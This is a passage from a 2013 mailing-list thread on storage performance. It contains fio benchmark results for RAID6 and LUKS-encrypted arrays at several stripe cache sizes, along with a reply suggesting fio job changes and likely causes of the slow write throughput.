merge=110017/380798, ticks=164960/160236, in_queue=325820, util=89.91% > sde: ios=4039/6727, merge=110658/366163, ticks=169804/166052, in_queue=336484, util=88.98% > sdf: ios=4080/6591, merge=108922/359343, ticks=39460/24636, in_queue=64820, util=52.33% > sdg: ios=4081/6668, merge=109197/363574, ticks=241752/29308, in_queue=271532, util=73.63% ################################# 3) 15GB RAID6 array, stripe 2048: > read: (groupid=0, jobs=4): err= 0: pid=4102 > read : io=4092.0MB, bw=207827KB/s, iops=135 , runt= 20162msec > slat (usec): min=122 , max=3904 , avg=230.75, stdev=99.04 > clat (msec): min=5 , max=363 , avg=117.03, stdev=70.26 > lat (msec): min=5 , max=363 , avg=117.27, stdev=70.25 > bw (KB/s) : min=26533, max=104239, per=25.00%, avg=51947.24, stdev=13121.27 > cpu : usr=0.05%, sys=0.83%, ctx=2640, majf=0, minf=6241 > IO depths : 1=0.1%, 2=0.3%, 4=99.6%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0% > submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% > complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% > issued r/w/d: total=2728/0/0, short=0/0/0 > > lat (msec): 10=0.55%, 20=4.99%, 50=14.96%, 100=21.33%, 250=53.01% > lat (msec): 500=5.17% > write: (groupid=1, jobs=4): err= 0: pid=4108 > write: io=4092.0MB, bw=145833KB/s, iops=94 , runt= 28733msec > slat (usec): min=768 , max=94184 , avg=1838.20, stdev=4140.24 > clat (msec): min=15 , max=1155 , avg=145.02, stdev=128.70 > lat (msec): min=16 , max=1156 , avg=146.86, stdev=128.77 > bw (KB/s) : min= 6144, max=104448, per=29.22%, avg=42617.70, stdev=17118.84 > cpu : usr=1.63%, sys=2.52%, ctx=4086, majf=0, minf=94 > IO depths : 1=0.1%, 2=0.3%, 4=99.6%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0% > submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% > complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% > issued r/w/d: total=0/2728/0, short=0/0/0 > > lat (msec): 20=0.37%, 50=9.02%, 100=38.42%, 250=39.22%, 500=10.12% > lat (msec): 750=2.09%, 1000=0.59%, 2000=0.18% > > Run status group 0 (all jobs): > READ: io=4092.0MB, aggrb=207827KB/s, minb=212814KB/s, maxb=212814KB/s, mint=20162msec, maxt=20162msec > > Run status group 1 (all jobs): > WRITE: io=4092.0MB, aggrb=145832KB/s, minb=149332KB/s, maxb=149332KB/s, mint=28733msec, maxt=28733msec > > Disk stats (read/write): > md1: ios=10912/10873, merge=0/0, ticks=0/0, in_queue=0, util=0.00%, aggrios=3018/4990, aggrmerge=79606/371231, aggrticks=152741/83319, aggrin_queue=236284, aggrutil=92.45% > sdc: ios=2988/5046, merge=79033/376737, ticks=129600/103552, in_queue=233412, util=84.14% > sdd: ios=3010/5140, merge=77101/390954, ticks=119032/103236, in_queue=222536, util=85.87% > sde: ios=3039/5009, merge=79935/374563, ticks=196200/159792, in_queue=356236, util=92.45% > sdf: ios=3021/4883, merge=80483/356643, ticks=29976/24956, in_queue=55100, util=49.53% > sdg: ios=3033/4872, merge=81481/357261, ticks=288900/25060, in_queue=314136, util=76.17% ################################# 4) 15GB RAID6 array, stripe 4096: > read: (groupid=0, jobs=4): err= 0: pid=4411 > read : io=4092.0MB, bw=214938KB/s, iops=139 , runt= 19495msec > slat (usec): min=192 , max=1468 , avg=226.97, stdev=87.18 > clat (msec): min=4 , max=339 , avg=112.51, stdev=63.05 > lat (msec): min=4 , max=339 , avg=112.73, stdev=63.05 > bw (KB/s) : min= 0, max=96000, per=24.87%, avg=53457.49, stdev=13728.88 > cpu : usr=0.02%, sys=0.89%, ctx=2591, majf=0, minf=6241 > IO depths : 1=0.1%, 2=0.3%, 4=99.6%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0% > submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% > complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% > issued r/w/d: total=2728/0/0, short=0/0/0 > > lat (msec): 10=0.15%, 20=4.62%, 50=13.56%, 100=26.43%, 250=52.20% > lat (msec): 500=3.04% > write: (groupid=1, jobs=4): err= 0: pid=4419 > write: io=4092.0MB, bw=146526KB/s, iops=95 , runt= 28597msec > slat (usec): min=822 , max=36057 , avg=1585.60, stdev=1174.08 > clat (msec): min=14 , max=1132 , avg=142.49, stdev=126.05 > lat (msec): min=15 , max=1134 , avg=144.08, stdev=126.08 > bw (KB/s) : min= 0, max=83836, per=28.88%, avg=42315.69, stdev=18036.84 > cpu : usr=1.42%, sys=2.85%, ctx=2937, majf=0, minf=94 > IO depths : 1=0.1%, 2=0.3%, 4=99.6%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0% > submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% > complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% > issued r/w/d: total=0/2728/0, short=0/0/0 > > lat (msec): 20=0.18%, 50=10.08%, 100=37.61%, 250=40.62%, 500=8.50% > lat (msec): 750=2.46%, 1000=0.44%, 2000=0.11% > > Run status group 0 (all jobs): > READ: io=4092.0MB, aggrb=214937KB/s, minb=220096KB/s, maxb=220096KB/s, mint=19495msec, maxt=19495msec > > Run status group 1 (all jobs): > WRITE: io=4092.0MB, aggrb=146526KB/s, minb=150042KB/s, maxb=150042KB/s, mint=28597msec, maxt=28597msec > > Disk stats (read/write): > md1: ios=10912/10895, merge=0/0, ticks=0/0, in_queue=0, util=0.00%, aggrios=3013/5053, aggrmerge=78083/371841, aggrticks=151707/88554, aggrin_queue=240554, aggrutil=92.72% > sdc: ios=2981/5124, merge=77153/379556, ticks=142800/116248, in_queue=259356, util=87.13% > sdd: ios=2990/5182, merge=75443/390196, ticks=128184/107752, in_queue=236264, util=86.87% > sde: ios=3034/5057, merge=77882/372755, ticks=185048/159352, in_queue=344636, util=92.72% > sdf: ios=3035/4941, merge=79423/356692, ticks=29196/28100, in_queue=57520, util=50.56% > sdg: ios=3026/4963, merge=80518/360009, ticks=273308/31320, in_queue=304996, util=76.24% ################################################### 5) 3TB LUKS volume (no raid, just one single disk): > read: (groupid=0, jobs=4): err= 0: pid=31359 > read : io=4092.0MB, bw=125032KB/s, iops=81 , runt= 33513msec > slat (usec): min=86 , max=1404 , avg=125.10, stdev=97.21 > clat (msec): min=26 , max=323 , avg=195.52, stdev=39.04 > lat (msec): min=26 , max=323 , avg=195.65, stdev=39.03 > bw (KB/s) : min=21982, max=41890, per=25.12%, avg=31405.62, stdev=3662.77 > cpu : usr=0.02%, sys=0.31%, ctx=2738, majf=0, minf=6233 > IO depths : 1=0.1%, 2=0.3%, 4=99.6%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0% > submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% > complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% > issued r/w/d: total=2728/0/0, short=0/0/0 > > lat (msec): 50=0.51%, 100=2.38%, 250=93.07%, 500=4.03% > write: (groupid=1, jobs=4): err= 0: pid=31364 > write: io=4092.0MB, bw=158193KB/s, iops=102 , runt= 26488msec > slat (usec): min=181 , max=673 , avg=442.78, stdev=67.26 > clat (msec): min=21 , max=555 , avg=154.33, stdev=45.35 > lat (msec): min=21 , max=555 , avg=154.77, stdev=45.35 > bw (KB/s) : min=19097, max=45988, per=25.04%, avg=39617.62, stdev=5714.79 > cpu : usr=1.00%, sys=0.25%, ctx=2737, majf=0, minf=86 > IO depths : 1=0.1%, 2=0.3%, 4=99.6%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0% > submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% > complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% > issued r/w/d: total=0/2728/0, short=0/0/0 > > lat (msec): 50=0.44%, 100=1.54%, 250=94.61%, 500=3.15%, 750=0.26% > > Run status group 0 (all jobs): > READ: io=4092.0MB, aggrb=125032KB/s, minb=128033KB/s, maxb=128033KB/s, mint=33513msec, maxt=33513msec > > Run status group 1 (all jobs): > WRITE: io=4092.0MB, aggrb=158192KB/s, minb=161989KB/s, maxb=161989KB/s, mint=26488msec, maxt=26488msec > > Disk stats (read/write): > dm-1: ios=8184/8196, merge=0/0, ticks=1521200/1235264, in_queue=2759104, util=99.58%, aggrios=8184/8225, aggrmerge=0/31, aggrticks=1421660/1137984, aggrin_queue=2559612, aggrutil=99.49% > sda: ios=8184/8225, merge=0/31, ticks=1421660/1137984, in_queue=2559612, util=99.49% ############################## 6) 6TB LUKS array, stripe 256: > read: (groupid=0, jobs=4): err= 0: pid=31121 > read : io=4092.0MB, bw=137700KB/s, iops=89 , runt= 30430msec > slat (usec): min=123 , max=1353 , avg=157.35, stdev=91.53 > clat (msec): min=15 , max=545 , avg=148.80, stdev=61.30 > lat (msec): min=15 , max=545 , avg=148.96, stdev=61.29 > bw (KB/s) : min= 0, max=129024, per=29.75%, avg=40959.72, stdev=21470.47 > cpu : usr=0.01%, sys=0.51%, ctx=2797, majf=0, minf=6241 > IO depths : 1=0.1%, 2=0.3%, 4=99.6%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0% > submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% > complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% > issued r/w/d: total=2728/0/0, short=0/0/0 > > lat (msec): 20=0.29%, 50=9.90%, 100=12.76%, 250=75.07%, 500=1.58% > lat (msec): 750=0.40% > write: (groupid=1, jobs=4): err= 0: pid=31131 > write: io=4092.0MB, bw=41225KB/s, iops=26 , runt=101643msec > slat (usec): min=197 , max=1309 , avg=557.69, stdev=124.14 > clat (msec): min=42 , max=2648 , avg=586.07, stdev=393.18 > lat (msec): min=43 , max=2649 , avg=586.63, stdev=393.19 > bw (KB/s) : min= 0, max=35583, per=26.36%, avg=10867.00, stdev=5232.75 > cpu : usr=0.33%, sys=0.09%, ctx=2699, majf=0, minf=94 > IO depths : 1=0.1%, 2=0.3%, 4=99.6%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0% > submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% > complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% > issued r/w/d: total=0/2728/0, short=0/0/0 > > lat (msec): 50=0.07%, 100=1.39%, 250=18.55%, 500=31.82%, 750=20.49% > lat (msec): 1000=12.57%, 2000=14.66%, >=2000=0.44% > > Run status group 0 (all jobs): > READ: io=4092.0MB, aggrb=137699KB/s, minb=141004KB/s, maxb=141004KB/s, mint=30430msec, maxt=30430msec > > Run status group 1 (all jobs): > WRITE: io=4092.0MB, aggrb=41224KB/s, minb=42214KB/s, maxb=42214KB/s, mint=101643msec, maxt=101643msec > > Disk stats (read/write): > dm-0: ios=10912/10906, merge=0/0, ticks=1385524/5596828, in_queue=6983364, util=99.89%, aggrios=10912/10940, aggrmerge=0/0, aggrticks=0/0, aggrin_queue=0, aggrutil=0.00% > md2: ios=10912/10940, merge=0/0, ticks=0/0, in_queue=0, util=0.00%, aggrios=20710/27494, aggrmerge=358521/573067, aggrticks=208334/119186, aggrin_queue=327551, aggrutil=61.95% > sdc: ios=21005/27276, merge=366645/567533, ticks=224772/179916, in_queue=404728, util=61.95% > sdd: ios=21154/26926, merge=369215/564213, ticks=212876/160624, in_queue=373552, util=60.42% > sde: ios=20460/27449, merge=354440/571659, ticks=127008/102188, in_queue=229220, util=48.28% > sdf: ios=20464/27908, merge=350591/581422, ticks=241608/78180, in_queue=319784, util=55.24% > sdg: ios=20470/27915, merge=351718/580509, ticks=235408/75024, in_queue=310472, util=55.91% ############################### 7) 6TB LUKS array, stripe 2048: > read: (groupid=0, jobs=4): err= 0: pid=30910 > read : io=4092.0MB, bw=237500KB/s, iops=154 , runt= 17643msec > slat (usec): min=134 , max=1511 , avg=165.25, stdev=96.45 > clat (msec): min=16 , max=859 , avg=101.07, stdev=61.40 > lat (msec): min=17 , max=859 , avg=101.23, stdev=61.40 > bw (KB/s) : min=32807, max=97523, per=25.40%, avg=60325.02, stdev=15396.63 > cpu : usr=0.02%, sys=0.76%, ctx=2709, majf=0, minf=6233 > IO depths : 1=0.1%, 2=0.3%, 4=99.6%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0% > submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% > complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% > issued r/w/d: total=2728/0/0, short=0/0/0 > > lat (msec): 20=0.07%, 50=13.38%, 100=48.90%, 250=34.38%, 500=3.08% > lat (msec): 750=0.15%, 1000=0.04% > write: (groupid=1, jobs=4): err= 0: pid=30915 > write: io=4092.0MB, bw=90652KB/s, iops=59 , runt= 46223msec > slat (usec): min=173 , max=983 , avg=599.60, stdev=141.06 > clat (msec): min=34 , max=1185 , avg=258.48, stdev=135.97 > lat (msec): min=34 , max=1185 , avg=259.08, stdev=135.98 > bw (KB/s) : min= 0, max=88722, per=25.95%, avg=23524.06, stdev=9036.31 > cpu : usr=0.77%, sys=0.22%, ctx=2576, majf=0, minf=86 > IO depths : 1=0.1%, 2=0.3%, 4=99.6%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0% > submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% > complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% > issued r/w/d: total=0/2728/0, short=0/0/0 > > lat (msec): 50=0.48%, 100=7.00%, 250=49.01%, 500=37.72%, 750=5.10% > lat (msec): 1000=0.59%, 2000=0.11% > > Run status group 0 (all jobs): > READ: io=4092.0MB, aggrb=237499KB/s, minb=243199KB/s, maxb=243199KB/s, mint=17643msec, maxt=17643msec > > Run status group 1 (all jobs): > WRITE: io=4092.0MB, aggrb=90652KB/s, minb=92827KB/s, maxb=92827KB/s, mint=46223msec, maxt=46223msec > > Disk stats (read/write): > dm-0: ios=10912/10875, merge=0/0, ticks=544880/2481824, in_queue=3026996, util=99.57%, aggrios=10912/10930, aggrmerge=0/0, aggrticks=0/0, aggrin_queue=0, aggrutil=0.00% > md2: ios=10912/10930, merge=0/0, ticks=0/0, in_queue=0, util=0.00%, aggrios=5058/6798, aggrmerge=153871/404343, aggrticks=195870/113487, aggrin_queue=309447, aggrutil=92.15% > sdc: ios=5024/7100, merge=152571/421782, ticks=332612/204936, in_queue=537660, util=92.15% > sdd: ios=4961/7109, merge=150591/422166, ticks=257308/161200, in_queue=418608, util=88.11% > sde: ios=5019/6697, merge=154781/395583, ticks=226120/152068, in_queue=378296, util=85.49% > sdf: ios=5118/6463, merge=156068/385905, ticks=65716/23932, in_queue=89724, util=55.85% > sdg: ios=5172/6624, merge=155347/396280, ticks=97596/25300, in_queue=122948, util=60.00% Am 22.12.2013 09:12, schrieb Stan Hoeppner: > On 12/21/2013 8:35 PM, Kevin Richter wrote: >> Okay, well, I've run your fio config... but with so many results and > > I'm glad you changed to size=1G instead of size=10G lest the test would > have read/written 80GB instead of 8GB, and taken forever. I often > forget the size parameter is per job (thread) not global. > >> abbrevations I currently feel a bit overchallenged :) >> So, please dont take badly, if I just paste the whole results. >> I have tried with a stripe cache size of 1024, 2048 and 4096. > > The full output is good. Going from 1024 to 2048 gained you ~17MB/s > throughput with this job file. But you didn't run with the default 256 > for comparison, which is very useful to know. That's ok, as you can do > so with the next set of test runs. Given the huge latencies I'm > thinking this config may be seeking the disks too much. Modify your fio > job file as follows: > > numjobs=4 > blocksize=1536k > iodepth=4 > size=1g > > as this may yield a little better results. ~190MB/s read and 75MB/s > write is very low for three effective 7.2K RPM SATA spindles, especially > the write throughput. Compare to a similar FIO job with 2 threads, > iodepth 16, directio, run against a single 500GB 7.2K WD SATA drive, NQC > disabled, w/deadline elevator: > > Run status group 0 (all jobs): > READ: io=2048MB, aggrb=88663KB/s, minb=90791KB/s, maxb=90791KB/s > Run status group 1 (all jobs): > WRITE: io=2048MB, aggrb=108089KB/s, minb=110683KB/s, maxb=110683KB/s > > 88MB/s read, 108MB/s write. Write is faster apparently due to the small > 16MB drive write cache. With your eight 2.4GHz SandyBridge cores and > md-RAID6 on much newer larger 7.2K drives w/larger caches, you should > have significantly greater write speed than this old single SATA drive. > Currently you're showing 30MB/s slower write throughput, some 40% > slower than this single drive. With aligned writes, thus no RMW, you > should be getting at least 2 spindles worth of throughput, or ~200MB/s. > > So, run FIO again with the mods above, once with stripe_cache_size 256 > and once with 2048. Something seems to be seriously dragging down your > throughput. I'm sure you'd like to know what, and how to fix it. > >> Btw, I also have /dev/md1, this is a 15GB unencrypted array using the >> same 5 disks like my LUKS-md2 array, so nearly the same just without >> this LUKS layer. If helpful, I can execute some fio tests on this >> filesystem, too. > > This is also a RAID6 array, without dm-crypt? If so this will afford a > great comparison, and may be very informative. Run FIO against this > filesystem (I assume it's also XFS) as well with stripe_cache_size 512 > and 2048. Four FIO tests total including the two on the big array. > > It'll be interesting to see where this leads. At this point the > candidates I see are a single dm-crypt thread peaking a core, dm-crypt > taking aligned writes and misaligning them causing all writes to be > RMWs, or AF drives with misaligned partitions causing every write to be > an internal RMW. Or maybe something I've not considered. > > >> >> So long :) >> Kevin >> >> >> $ echo 1024 > /sys/block/md2/md/stripe_cache_size >>> Jobs: 1 (f=1): [____________W___] [99.7% done] [0K/99.24M /s] [0 /193 iops] [eta 00m:06s] >>> read: (groupid=0, jobs=8): err= 0: pid=12987 >>> read : io=81920MB, bw=189835KB/s, iops=370 , runt=441890msec >>> slat (usec): min=32 , max=4561 , avg=76.28, stdev=28.66 >>> clat (msec): min=5 , max=1115 , avg=334.19, stdev=151.18 >>> lat (msec): min=5 , max=1115 , avg=334.26, stdev=151.18 >>> bw (KB/s) : min= 0, max=261120, per=12.79%, avg=24288.95, stdev=11586.29 >>> cpu : usr=0.05%, sys=0.50%, ctx=157180, majf=0, minf=16982 >>> IO depths : 1=0.1%, 2=0.1%, 4=0.1%, 8=0.1%, 16=99.9%, 32=0.0%, >=64=0.0% >>> submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >>> complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.1%, 32=0.0%, 64=0.0%, >=64=0.0% >>> issued r/w/d: total=163840/0/0, short=0/0/0 >>> >>> lat (msec): 10=0.52%, 20=0.71%, 50=3.01%, 100=6.17%, 250=14.59% >>> lat (msec): 500=68.81%, 750=4.87%, 1000=1.08%, 2000=0.25% >>> write: (groupid=1, jobs=8): err= 0: pid=13202 >>> write: io=81920MB, bw=58504KB/s, iops=114 , runt=1433851msec >>> slat (usec): min=45 , max=1729 , avg=212.20, stdev=56.68 >>> clat (msec): min=14 , max=11691 , avg=1101.17, stdev=1116.82 >>> lat (msec): min=14 , max=11691 , avg=1101.39, stdev=1116.82 >>> bw (KB/s) : min= 0, max=106666, per=14.35%, avg=8395.94, stdev=6752.35 >>> cpu : usr=0.28%, sys=0.10%, ctx=117451, majf=0, minf=3410 >>> IO depths : 1=0.1%, 2=0.1%, 4=0.1%, 8=0.1%, 16=99.9%, 32=0.0%, >=64=0.0% >>> submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >>> complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.1%, 32=0.0%, 64=0.0%, >=64=0.0% >>> issued r/w/d: total=0/163840/0, short=0/0/0 >>> >>> lat (msec): 20=0.01%, 50=0.17%, 100=2.03%, 250=17.02%, 500=22.20% >>> lat (msec): 750=12.22%, 1000=8.66%, 2000=20.04%, >=2000=17.64% >>> >>> Run status group 0 (all jobs): >>> READ: io=81920MB, aggrb=189834KB/s, minb=194390KB/s, maxb=194390KB/s, mint=441890msec, maxt=441890msec >>> >>> Run status group 1 (all jobs): >>> WRITE: io=81920MB, aggrb=58504KB/s, minb=59908KB/s, maxb=59908KB/s, mint=1433851msec, maxt=1433851msec >>> >>> Disk stats (read/write): >>> dm-0: ios=327681/327756, merge=0/0, ticks=78591352/353235376, in_queue=431834680, util=100.00%, aggrios=327681/327922, aggrmerge=0/0, aggrticks=0/0, aggrin_queue=0, aggrutil=0.00% >>> md2: ios=327681/327922, merge=0/0, ticks=0/0, in_queue=0, util=0.00%, aggrios=171660/222845, aggrmerge=4561629/9494657, aggrticks=16341417/4008187, aggrin_queue=20351472, aggrutil=85.78% >>> sdc: ios=181512/222455, merge=4583055/9505634, ticks=15650600/5944080, in_queue=21596560, util=85.78% >>> sdd: ios=180545/224362, merge=4526197/9587956, ticks=14356708/5542120, in_queue=19900820, util=85.42% >>> sde: ios=179853/224317, merge=4519718/9540999, ticks=13375156/5676828, in_queue=19053876, util=83.90% >>> sdf: ios=157605/222569, merge=4551205/9459549, ticks=18828608/1234632, in_queue=20065204, util=75.36% >>> sdg: ios=158787/220525, merge=4627970/9379150, ticks=19496016/1643276, in_queue=21140904, util=77.26% >> >> $ echo 2048 > /sys/block/md2/md/stripe_cache_size >>> Jobs: 1 (f=1): [_________W______] [99.6% done] [0K/92182K /s] [0 /175 iops] [eta 00m:06s] >>> read: (groupid=0, jobs=8): err= 0: pid=6392 >>> read : io=81920MB, bw=185893KB/s, iops=363 , runt=451259msec >>> slat (usec): min=32 , max=524 , avg=75.08, stdev=26.00 >>> clat (msec): min=8 , max=1849 , avg=335.65, stdev=149.76 >>> lat (msec): min=8 , max=1849 , avg=335.72, stdev=149.76 >>> bw (KB/s) : min= 0, max=105860, per=13.08%, avg=24308.99, stdev=7467.64 >>> cpu : usr=0.05%, sys=0.49%, ctx=157968, majf=0, minf=17171 >>> IO depths : 1=0.1%, 2=0.1%, 4=0.1%, 8=0.1%, 16=99.9%, 32=0.0%, >=64=0.0% >>> submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >>> complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.1%, 32=0.0%, 64=0.0%, >=64=0.0% >>> issued r/w/d: total=163840/0/0, short=0/0/0 >>> >>> lat (msec): 10=0.01%, 20=0.06%, 50=2.32%, 100=7.44%, 250=15.36% >>> lat (msec): 500=69.09%, 750=4.50%, 1000=0.87%, 2000=0.35% >>> write: (groupid=1, jobs=8): err= 0: pid=6663 >>> write: io=81920MB, bw=75377KB/s, iops=147 , runt=1112887msec >>> slat (usec): min=46 , max=6453.8K, avg=988.13, stdev=46664.22 >>> clat (msec): min=10 , max=8631 , avg=854.18, stdev=683.37 >>> lat (msec): min=10 , max=8631 , avg=855.17, stdev=684.82 >>> bw (KB/s) : min= 0, max=100352, per=14.04%, avg=10581.97, stdev=6871.80 >>> cpu : usr=0.34%, sys=0.11%, ctx=92502, majf=0, minf=1531 >>> IO depths : 1=0.1%, 2=0.1%, 4=0.1%, 8=0.1%, 16=99.9%, 32=0.0%, >=64=0.0% >>> submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >>> complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.1%, 32=0.0%, 64=0.0%, >=64=0.0% >>> issued r/w/d: total=0/163840/0, short=0/0/0 >>> >>> lat (msec): 20=0.01%, 50=0.09%, 100=1.14%, 250=11.19%, 500=24.64% >>> lat (msec): 750=18.78%, 1000=13.40%, 2000=24.53%, >=2000=6.23% >>> >>> Run status group 0 (all jobs): >>> READ: io=81920MB, aggrb=185893KB/s, minb=190354KB/s, maxb=190354KB/s, mint=451259msec, maxt=451259msec >>> >>> Run status group 1 (all jobs): >>> WRITE: io=81920MB, aggrb=75376KB/s, minb=77186KB/s, maxb=77186KB/s, mint=1112887msec, maxt=1112887msec >>> >>> Disk stats (read/write): >>> dm-0: ios=327701/328169, merge=0/0, ticks=79402348/261890568, in_queue=341301888, util=100.00%, aggrios=327701/328481, aggrmerge=0/0, aggrticks=0/0, aggrin_queue=0, aggrutil=0.00% >>> md2: ios=327701/328481, merge=0/0, ticks=0/0, in_queue=0, util=0.00%, aggrios=127112/146994, aggrmerge=3364061/7997232, aggrticks=18091347/5817941, aggrin_queue=23914356, aggrutil=94.20% >>> sdc: ios=135729/149357, merge=3341205/8134447, ticks=18312932/8398716, in_queue=26721324, util=92.77% >>> sdd: ios=135561/151584, merge=3312121/8238249, ticks=16877204/8190968, in_queue=25077332, util=92.44% >>> sde: ios=135741/146023, merge=3345948/7981968, ticks=17659792/8659780, in_queue=26322124, util=94.20% >>> sdf: ios=114396/143768, merge=3413295/7801050, ticks=18551976/1652924, in_queue=20207384, util=72.89% >>> sdg: ios=114134/144241, merge=3407738/7830447, ticks=19054832/2187320, in_queue=21243620, util=74.96% >> >> $ echo 4096 > /sys/block/md2/md/stripe_cache_size >>> Jobs: 1 (f=1): [________W_______] [100.0% done] [0K/95848K /s] [0 /182 iops] [eta 00m:00s] >>> read: (groupid=0, jobs=8): err= 0: pid=11787 >>> read : io=81920MB, bw=189274KB/s, iops=369 , runt=443200msec >>> slat (usec): min=31 , max=4511 , avg=75.47, stdev=29.74 >>> clat (msec): min=5 , max=1338 , avg=336.39, stdev=155.14 >>> lat (msec): min=5 , max=1338 , avg=336.47, stdev=155.14 >>> bw (KB/s) : min= 0, max=253455, per=12.77%, avg=24162.01, stdev=11368.71 >>> cpu : usr=0.05%, sys=0.49%, ctx=157193, majf=0, minf=17313 >>> IO depths : 1=0.1%, 2=0.1%, 4=0.1%, 8=0.1%, 16=99.9%, 32=0.0%, >=64=0.0% >>> submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >>> complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.1%, 32=0.0%, 64=0.0%, >=64=0.0% >>> issued r/w/d: total=163840/0/0, short=0/0/0 >>> >>> lat (msec): 10=0.47%, 20=0.66%, 50=2.95%, 100=6.33%, 250=14.56% >>> lat (msec): 500=68.12%, 750=5.42%, 1000=1.15%, 2000=0.33% >>> write: (groupid=1, jobs=8): err= 0: pid=12060 >>> write: io=81920MB, bw=64993KB/s, iops=126 , runt=1290687msec >>> slat (usec): min=61 , max=16991 , avg=197.22, stdev=110.87 >>> clat (msec): min=14 , max=2820 , avg=980.92, stdev=366.56 >>> lat (msec): min=14 , max=2821 , avg=981.12, stdev=366.56 >>> bw (KB/s) : min= 0, max=103770, per=13.11%, avg=8517.92, stdev=3794.28 >>> cpu : usr=0.28%, sys=0.08%, ctx=84352, majf=0, minf=723 >>> IO depths : 1=0.1%, 2=0.1%, 4=0.1%, 8=0.1%, 16=99.9%, 32=0.0%, >=64=0.0% >>> submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >>> complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.1%, 32=0.0%, 64=0.0%, >=64=0.0% >>> issued r/w/d: total=0/163840/0, short=0/0/0 >>> >>> lat (msec): 20=0.01%, 50=0.03%, 100=0.28%, 250=0.22%, 500=5.37% >>> lat (msec): 750=22.02%, 1000=31.66%, 2000=39.27%, >=2000=1.16% >>> >>> Run status group 0 (all jobs): >>> READ: io=81920MB, aggrb=189273KB/s, minb=193816KB/s, maxb=193816KB/s, mint=443200msec, maxt=443200msec >>> >>> Run status group 1 (all jobs): >>> WRITE: io=81920MB, aggrb=64993KB/s, minb=66553KB/s, maxb=66553KB/s, mint=1290687msec, maxt=1290687msec >>> >>> Disk stats (read/write): >>> dm-0: ios=327681/327629, merge=0/0, ticks=78990724/301988444, in_queue=380991692, util=100.00%, aggrios=327681/327709, aggrmerge=0/0, aggrticks=0/0, aggrin_queue=0, aggrutil=0.00% >>> md2: ios=327681/327709, merge=0/0, ticks=0/0, in_queue=0, util=0.00%, aggrios=120158/119573, aggrmerge=2858405/7663126, aggrticks=17291831/9119008, aggrin_queue=26414023, aggrutil=99.60% >>> sdc: ios=135579/119976, merge=2813832/7324879, ticks=13974928/2192484, in_queue=16167996, util=66.57% >>> sdd: ios=136115/127048, merge=2826584/7736191, ticks=12932248/2477796, in_queue=15410924, util=68.08% >>> sde: ios=136007/130908, merge=2844473/7936354, ticks=12642232/3141268, in_queue=15784336, util=71.86% >>> sdf: ios=78473/94458, merge=2882361/7865984, ticks=29053772/37421808, in_queue=66488856, util=99.60% >>> sdg: ios=114620/125479, merge=2924777/7452224, ticks=17855976/361684, in_queue=18218004, util=54.84% From stan@hardwarefreak.com Sun Dec 22 11:29:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 